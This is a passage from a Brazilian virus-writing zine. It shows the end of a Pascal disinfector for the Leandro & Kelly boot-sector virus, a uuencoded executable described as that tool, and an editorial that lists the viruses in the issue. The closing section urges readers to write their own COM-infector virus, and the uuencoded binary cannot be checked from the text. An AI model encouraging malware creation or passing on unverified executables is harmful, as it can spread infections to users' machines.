        if(boottp[$23])<>$07c  then Tem := false;
        if(boottp[$24])<>$033  then Tem := false;
                                                                        
        if(boottp[$25])<>$0c0  then Tem := false;
        if(boottp[$26])<>$08e  then Tem := false;
        if(boottp[$27])<>$0d0  then Tem := false;
        if(boottp[$28])<>$0b8  then Tem := false;
        if(boottp[$29])<>$000  then Tem := false;
                                                                        
        if tem then
        begin
             boottp_lk:=true;
             writeln(#7,'Encontrado virus Leandro & Kelly na unidade');
             vit_seg:=seg(vitima);
             vit_ofs:=ofs(vitima);
             if not sodetecta then
                begin   {lendo vitima}
                      trilha := boottp[$1d];
                      setor := boottp[$1c];
                      cab := boottp[$1f];
                      { unid := boottp[$1e]; Nao retirar comentario
                       Utilizar drive do CHICO AV devido a erro no LK a
                       unidade apontada sempre sera 0 (a:) mesmo quando
                       for b: No drive C: ele se comporta sem erros 
                       apontando para 80h(c:)}
                                                                        
            if not lerfissetor(vit_seg,vit_ofs,trilha,setor,cab,unid) then
                begin
                        writeln('Erro de leitura de disco...');
                        exit;
                end;
            if not escrfissetor(vit_seg,vit_ofs,0,1,0,unid) then
            { atencao:
            boottp[$1e] -> 0 = drive a ; 1 = drive b ; 80h = c ; 81h = d
            no entanto o virus tem um erro e o drive apontado sera sempre 0 
            mesmo que seja 1 }
                begin                                                   
                        writeln('Erro de escrita no disco...');
                        exit;
                end                                                           
            else                                                          
                begin                                                     
                        Writeln('Removido : Virus Leandro & Kelly da unidade.');
                end;                                                      
            end;                                                       
            end                                                           
            else                                                      
                begin {nao encontrado}
                boottp_lk:=false;
                end;
            end;                                                       
                                                                           
Begin                                                           
        if paramcount =0 then
                begin                                                        
                    writeln(#7,'Faltou definir drive...');
                end;                                                     
        unid := paramstr(1);
        case upcase(unid[1])of
                'A': if not boottp_lk(0) then writeln('Nada encontrado...');
                'B': if not boottp_lk(1) then writeln('Nada encontrado...');
                'C': if not boottp_lk($80) then writeln('Nada encontrado...');
        end;                                                          
end.                                                            
                                                            
{   **************************** REMLK.PAS ****************************      }

        Segue na sequencia o remlk.exe uuencodado ...


   
                          ___         ___   ___    __    ___
               |  | |  | |__   |\ |  |     |   |  |  \  |__
               |__| |__| |___  | \|  |___  |___|  |__/  |___
  
   

        Temos aqui o remlk.exe uuencodado . Para desencodar copie o trecho
   entre "begin 600" at "end" e cole em um arquivo novo, salve como 
   remlk.uue e rode o uudecode com o commando "UUdecode remlk.uue"

;;;;;;;;;;;;;;;;;;;;;; Remlk.uue ;;;;;;;;;;;;;;;;;;;;;;;;;;;;
begin 600 remlk.exe
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
M(,H"`+]2`!X'N:("*\_1Z3/`_/.KPP``````````````````````````````
M``````#__P``````````````````````````````````````````````````
D`````````!!```"@`+``N````@`-"@``````````````````
`
end
;;;;;;;;;;;;;;;;;;;;;; Remlk.uue ;;;;;;;;;;;;;;;;;;;;;;;;;;;;
                                                                            
                                                                            
  
              __   __          __                ___   __    __  
             |    |  |  |\ |  |     |     |  |  (__   |__|  |  | 
             |__  |__|  | \|  |__   |__   |__|  ___)  |  |  |__| 
  
   
                                                                            
                                                                            
       
                Creio que essa ser a primeira matria a ter esse
       papo de concluso, tipo por ser uma matria que eu comecei a
       trabalhar antes da idealizao do primeiro nmero do zine eu
       considero uma matria histrica para o Vrus Brasil, tudo 
       que se encontra nessa matria tem a mo de algum brasileiro
       e eu acho que isso que  o nosso objetivo, um zine voltado
       para o "mercado nacional" seja qual for ele, nessa matria
       sintetizei tudo que consegui encontrar sobre o vrus Leandro
       e Kelly, nao inseri nenhum comentario de nenhum VSUM da vida
       os comentrios que esto ai so de caras que mexeram com o 
       L&K em profundidade, o analizaram e nao se limitaram a criar 
       um simples programa que identifique o vrus e troque o boot 
       por um no infectado. Nessa matria voc se deparou com uma
       listagem detalhada do vrus, com a imagem do virus em um 
       disco de 1440k e com um anti-virus que eu achei muito inte-
       ressante e resolvi publica-lo e voc tambem encontrou comen-
       trios ao longo da matria sobre o vrus.
                Para que a matria fosse 100% gringa mesmo s fal-
       tou uma entrevista com o autor, mas tipo eu nunca soube quem
       , na verdade, nunca me interessou saber quem era pois o pa-
       po, a sensao e os porqus da criao so absolutamente 
       inenarrveis, algo singular que s fazendo se pode ter uma 
       noo do feeling do negocio, eu sugiro que voc esperimente
       criar um vrus, acho que j esta na hora, afinal j temos 6
       meses de vida e voc j deve ter aprendido alguma coisa, nao
       digo criar um vrus de Boot, muito menos com o naipe do LK,
       mas um runtime COM infector, voc j consegue !!!
       
                                                                            
                 T+
                                                   nim_bus@hotmail.com
                                                                            


   
                             __          ___   
                      |  /  |__|  |     |__   |   |
                      |/    |  |  |___  |___  |___|   

   

        Tipo no me estendi no editorial, muito menos irei me estender no
  Valeu, temos aqui sempre um resumo do que a ediao do zine nos trouxe e
  alguns agradecimentos ...

        Nessa edio voc viu :

        - Vrus:

                * Goma Brazillian Bug
                * Alevir.2349
                * Leandro e Kelly

        - Ant-Vrus:

                * Remlk
                * Goma Detector

        - Util:

                * IMG.EXE
                
        Voc pode estar pensando que esse zine foi menor que os demais, pois
  tem menos matrias e seil o que voc esta pensando de verdade, mas saiba
  que se houvesse mais uma matria nesse n do zine ele seria muito "pesado"
  e sua leitura detalhada demoraria mais do que as 15 semanas previstas para
  cada nmero ...

        Visitem nossa "pagina" em : 
        
        http://campus/fortunecity.com/medicine/120 

                    ou pelo remind 

              http://surf.to/virusbrasil

         A pagina  bem podrona, pois no tenho tempo para fazer nada 
  bonitinho e muito menos esse  meu objetivo, a pgina esta l para que a
  cada trimestre o leitor entre l e pegue seu exemplar do zine, nada mais
  que isso... Num futuro onde eu tenha tempo quem sabe eu faa uma hp decen-
  te.

******************************************************************************
          Use sempre camisinha, o  HIV e' um virus que nao sabe brincar 
******************************************************************************
                                                                            
        Agradeo  todos e at o proximo nmero ...
                                                                            
                           nim_bus@hotmail.com                     
                                                                           

   
   8 - Thanks !
   

        Nim Bus Thanks :

   Arby's  (Sanduches de Fil de Frango e Roast Beef)
   Ambev  (Pela Brahma, Antrtica e Skol)
   Telefnica (Por terem instalado meu telefone em 3 semanas)

                                                                           EOZ
